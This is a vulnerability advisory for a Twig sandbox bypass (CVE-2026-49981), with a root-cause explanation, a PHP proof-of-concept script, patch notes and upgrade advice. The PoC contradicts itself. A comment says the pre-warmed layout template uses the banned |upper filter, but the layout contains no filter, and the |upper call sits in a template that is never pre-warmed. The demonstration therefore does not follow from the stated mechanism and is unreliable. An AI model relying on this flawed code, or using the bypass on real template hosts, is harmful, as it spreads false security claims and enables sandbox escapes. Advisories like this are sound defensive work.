CVE-2026-49981: Twig Sandbox Filter/Tag/Function Allow-list Bypass via Cached Template
Twig's sandbox allow-list for filters, tags, and functions can be silently skipped when a template is loaded before sandboxing is active, letting untrusted templates call anything they want regardless
The problem
Each compiled Twig `Template` subclass runs its `checkSecurity()` method exactly once, from the constructor, gated by whether the sandbox is active at that moment. The result is then cached in `Environment::$loadedTemplates` for the lifetime of the process.
Any later sandbox state change on the same `Environment` (toggling `enableSandbox()`/`disableSandbox()`, swapping the policy via `setSecurityPolicy()`, or simply having a parent or included template pre-warmed before a sandboxed render reaches it) leaves the stale, bypass verdict in place.
Filters, tags, and functions not on the allow-list run without restriction.
Proof of concept
A working proof-of-concept for CVE-2026-49981 in twig/twig, with the exact payload below.
<?php
// Shared Environment used for both non-sandboxed and sandboxed renders
// (typical in FrankenPHP, RoadRunner, or Symfony Messenger workers)
use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
$loader = new ArrayLoader([
// layout.html.twig uses the banned |upper filter
'layout.html.twig' => '{% block body %}{% endblock %}',
// attacker.html.twig extends layout and calls |upper (not in allow-list)
'attacker.html.twig' => '{% extends "layout.html.twig" %}'
. '{% block body %}{{ secret|upper }}{% endblock %}',
]);
$twig = new Environment($loader);
// Step 1: non-sandboxed render pre-warms layout.html.twig into $loadedTemplates.
// checkSecurity() runs here with isSandboxed() === false => no-op verdict cached.
$twig->render('layout.html.twig');
// Step 2: enable the sandbox with a policy that explicitly bans |upper.
$policy = new SecurityPolicy(
allowedTags: ['extends', 'block'],
allowedFilters: ['escape'], // 'upper' is NOT allowed
allowedFunctions: [],
allowedProperties: [],
allowedMethods: [],
);
$twig->addExtension(new SandboxExtension($policy, sandboxed: true));
// Step 3: sandboxed render of attacker template.
// layout.html.twig is already in $loadedTemplates; its cached no-op verdict
// is reused, so |upper runs despite not being in the allow-list.
echo $twig->render('attacker.html.twig', ['secret' => 'classified']);
// Output: CLASSIFIED <-- sandbox bypass confirmedThe root cause is CWE-693 (Protection Mechanism Failure): `checkSecurity()` was called once from the `Template` constructor and the result was permanently cached, making it sticky across sandbox state changes on the same `Environment` instance.
The patch (PR #558) moves the check out of the constructor entirely. It introduces a public `ensureSecurityChecked()` method that re-evaluates `SandboxExtension::isSandboxed($source)` against the **current** state and calls `checkSecurity()` only when sandboxing is active.
This method is now invoked at every entry point that can reach a `Template`: `yield()`, `yieldBlock()`, `getParent()`, and `getTemplateForMacro()`. Because `checkSecurity()` walks compile-time-static arrays, the per-render overhead is negligible.
Note: method, property, and `__toString` allow-lists were never affected because `checkMethodAllowed()`, `checkPropertyAllowed()`, and `ensureToStringAllowed()` already re-read current state on every call.
The fix
Upgrade to twig/twig 3.27.0 or later (3.27.1 is the current stable release with additional regression fixes). Run: composer require twig/twig:^3.27.1
As an architectural measure, avoid sharing a single Twig `Environment` between sandboxed and non-sandboxed renders in long-lived workers. Point a dedicated sandboxed `Environment` at a restricted loader for untrusted template authors instead.
Reported by Fabien Potencier.
Related research
- high · 7.1CVE-2026-48507CVE-2026-48507: Snipe-IT Bulk User Edit Incorrect Authorization
- high · 8.1CVE-2026-49286CVE-2026-49286: pontedilana/php-weasyprint PHAR Deserialization via Case-Insensitive Stream Wrapper Bypass
- highSolidInvoice: IDOR in Symfony LiveComponents Allows Cross-User API Token and Notification Settings Access
- high · 8.2CVE-2026-49260CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path